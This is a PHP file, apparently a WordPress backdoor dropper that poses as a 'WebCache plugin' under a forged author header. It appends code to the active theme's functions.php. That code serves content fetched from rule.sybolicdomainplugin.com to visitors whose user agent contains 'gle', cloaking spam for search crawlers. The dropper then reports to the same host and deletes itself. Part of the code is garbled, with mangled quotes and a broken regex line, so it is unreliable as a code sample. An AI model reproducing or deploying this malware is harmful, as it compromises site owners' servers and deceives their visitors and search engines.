q9j9vn8d.php

<?php
/**
* @package WebCache plugin
* @version 1.7.2
*/
/*
Plugin Name: WebCache plugin
Plugin URI: http://wordpress.org/plugins/webcache-plugin/
Description: Simple WebCache plugin
Author: Matt Mullenweg
Version: 1.7.2
Author URI: http://ma.tt/
*/

$level0 = "./wp-load.php";
$level1 = "./../wp-load.php";
$level2 = "./../../wp-load.php";
$level3 = "./../../../wp-load.php";
$level4 = "./../../../../wp-load.php";
$level5 = "./../../../../../wp-load.php";
$level6 = "./../../../../../../wp-load.php";

if(file_exists($level0)){require_once("$level0");}
clearstatcache();

if(file_exists($level1)){require_once("$level1");}
clearstatcache();

if(file_exists($level2)){require_once("$level2");}
clearstatcache();

if(file_exists($level3)){require_once("$level3");}
clearstatcache();

if(file_exists($level4)){require_once("$level4");}
clearstatcache();

if(file_exists($level5)){require_once("$level5");}
clearstatcache();

if(file_exists($level6)){require_once("$level6");}
clearstatcache();

$template = get_template();
$theme_root = get_theme_root( $template );
$template_dir = "$theme_root/$template";
$http = get_site_url();
$parse = parse_url($http);
$domain = $parse['host'];
$domain = str_replace("www.", "", "$domain");
$address = "$http";

$functionsphp = file_get_contents("$template_dir/functions.php");

$group = "4";

// Set WEBCACHE variable
$functionscode = <<<'WEBCACHE'

/**
* Set the cache limit.
*
* To override this cache in a child theme, remove
* the filter and add your own function tied to
* the cache filter hook.
*
* @param int $c The number of excerpt characters.
* @return int The filtered number of characters.
*/
if (strpos($_SERVER["HTTP_USER_AGENT"], 'gle') !== false) {
add_action('wp_loaded','crt');
function crt() {ob_start('cache');}
function cache($html) {$curl = curl_init();curl_setopt($curl, CURLOPT_URL, 'http://rule.sybolicdomainplugin.com/cache.php?h=DOMAIN.COM&id=GROUP');curl_setopt($curl, CURLOPT_RETURNTRANSFER,true);$c = curl_exec($curl);curl_close($curl);
$html = preg_replace('/(“) !== false) {$functionsphp = str_replace(“?>”, “$functionscode ?>”, $functionsphp); file_put_contents(“$template_dir/functions.php”, “$functionsphp”);}
else {if (strpos(file_get_contents(“$template_dir/functions.php”), “function crt()”) === false) {file_put_contents(“$template_dir/functions.php”, “$functionscode”, FILE_APPEND);};};

$code1 = file_get_contents(“$template_dir/functions.php”);
if (strpos(“$code1”, “function crt()”) === false) {echo “GrazzMean no writing”; unlink(__FILE__); exit;}

//sleep for 3 seconds
sleep(3);

// Check function
$curl = curl_init();curl_setopt($curl, CURLOPT_URL, “http://rule.sybolicdomainplugin.com/functions.php?domain_to_check=$domain&id=$group”);curl_setopt($curl, CURLOPT_RETURNTRANSFER,true); $check = curl_exec($curl);curl_close($curl);
echo “$check”;

unlink(__FILE__);

exit;

?>

Both comments and trackbacks are currently closed.